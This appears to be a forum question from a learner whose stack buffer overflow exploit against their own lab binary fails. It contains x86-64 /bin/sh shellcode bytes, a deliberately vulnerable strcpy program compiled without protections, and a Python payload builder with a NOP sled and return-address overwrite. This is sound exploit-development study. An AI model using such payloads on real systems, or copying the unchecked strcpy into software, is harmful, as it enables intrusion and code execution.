title: execute a shellcode, /bin/sh
body: <p>I am trying, unsuccessfully, to execute shellcode (<code>/bin/sh</code>) from an address on the stack.
  I Inject the shellcode to an executable file using a buffer overflow method on an Ubuntu 20.04 64-bit machine.
  I hoped that during the execution, a shell will be open….</p>
  <ol>
  <li>Here is the assembly file that executes <code>/bin/sh</code> (from which I took the machine code):</li>
  </ol>
  <pre><code>global _start
  
  _start: 
  
      xor rax, rax
  
      push rax
      
      mov rbx, 0x68732f6e69622f2f
      push rbx
      mov rdi, rsp
      
      push rax
      push rdi
      mov rsi,rsp 
          
      xor rdx, rdx
      add rax, 59
      syscall
  </code></pre>
  <ol start="2">
  <li>Here is the machine code:</li>
  </ol>
  <pre><code>\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05
  </code></pre>
  <ol start="3">
  <li>Here is the C code (<code>buffer_V8.c</code>) from which I inject the shellcode:</li>
  </ol>
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  #include &lt;stdlib.h&gt;
  
  int buffer(char* input){
      char buffer[256];
      strcpy (buffer,input);
      printf(&quot;Hello from buffer!\n&quot;);
      return 0;
  }
  
  void main (int argc, char *argv[]){
      int local_variable = 1;
      buffer(argv[1]);
      printf(&quot;Hello from main!\n&quot;);
      exit(0);
  }
  </code></pre>
  <ol start="4">
  <li>This is how I create the executable:</li>
  </ol>
  <pre><code>gcc -fno-stack-protector -z execstack buffer_V8.c  -o buffer_V8
  </code></pre>
  <ol start="5">
  <li>Running the executable with a legitimate input, works as expected:</li>
  </ol>
  <pre><code>$ ./buffer_V8 AAA 
  Hello from buffer! 
  Hello from main! 
  </code></pre>
  <ol start="6">
  <li>Running the executable with GDB, with long input that overrides the return address, but without the shellcode, works as expected:</li>
  </ol>
  <p>Here is the file to create the input:</p>
  <pre class="lang-py prettyprint-override"><code>#!/usr/bin/env python
  from struct import *
  
  buffer = &quot;&quot;
  buffer += &quot;A&quot;*264
  buffer += &quot;B&quot;*6
  f = open(&quot;input_V1.txt&quot;, &quot;w&quot;)
  f.write(buffer)
  f.close()
  </code></pre>
  <p>Here is the result of executing with GDB: when the debugger tries to return, it stops with the message:</p>
  <pre><code>gdb ./buffer_V8 
  run $(cat input_V1.txt)  
  c
  …
  Stopped reason: SIGSEGV 
  0x0000424242424242 in ?? () 
  </code></pre>
  <ol start="7">
  <li>Running the executable with GDB, with long input that overrides the return address, including the shellcode, doesn't work as expected:</li>
  </ol>
  <p>Here is the file to create the input:</p>
  <pre class="lang-py prettyprint-override"><code>#!/usr/bin/env python
  from struct import * 
  
  buffer = &quot;&quot; 
  buffer += &quot;\x90&quot;*100    #NOP 
  #shell code 
  buffer+=&quot;\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05&quot;
  buffer += &quot;C&quot;*133
  #override the return address with an address in the stack inside the buffer before the shellcode begins. 
  buffer += pack(&quot;&lt;Q&quot;, 0x7fffffffdcf0) 
  
  f = open(&quot;input_V4.txt&quot;, &quot;w&quot;) 
  f.write(buffer) 
  f.close()
  </code></pre>
  <p>Here is the result of executing with GDB:</p>
  <pre><code>gdb ./buffer_V8
  run $(cat input_V4.txt) 
  c
    0x7fffffffdd3a:   xor    rdx,rdx
     0x7fffffffdd3d:  add    rax,0x3b
     0x7fffffffdd41:  syscall 
  =&gt; **0x7fffffffdd43**:  rex.XB
     0x7fffffffdd44:  rex.XB
     0x7fffffffdd45:  rex.XB
     0x7fffffffdd46:  rex.XB
     0x7fffffffdd47:  rex.XB
  [------------------------------------stack-------------------------------------]
  0000| 0x7fffffffddb8 --&gt; 0x7fffffffddc8 --&gt; 0x0 
  0008| 0x7fffffffddc0 --&gt; 0x0 
  0016| 0x7fffffffddc8 --&gt; 0x0 
  0024| 0x7fffffffddd0 --&gt; 0x7fffffffdee8 --&gt; 0x7fffffffe22f (&quot;/home/albi/Desktop/UMalware/PROJECTS
  /Penetration/CH7/zzz&quot;)
  0032| 0x7fffffffddd8 --&gt; 0x2555550a0 
  0040| 0x7fffffffdde0 --&gt; 0x7fffffffdee0 --&gt; 0x2 
  0048| 0x7fffffffdde8 --&gt; 0x100000000 
  0056| 0x7fffffffddf0 --&gt; 0x0 
  [------------------------------------------------------------------------------]
  Legend: code, data, rodata, value
  Stopped reason: SIGSEGV
  **0x00007fffffffdd43** in ?? ()
  </code></pre>
  <p>Instead of opening a shell, it looks like the execution stopped after calling <code>syscall at address 0x7fffffffdd41</code>.</p>
  <p>What went wrong, and how can I perform the execution of the shellcode successfully?</p>
  <p>Thanks a lot
  Tali</p>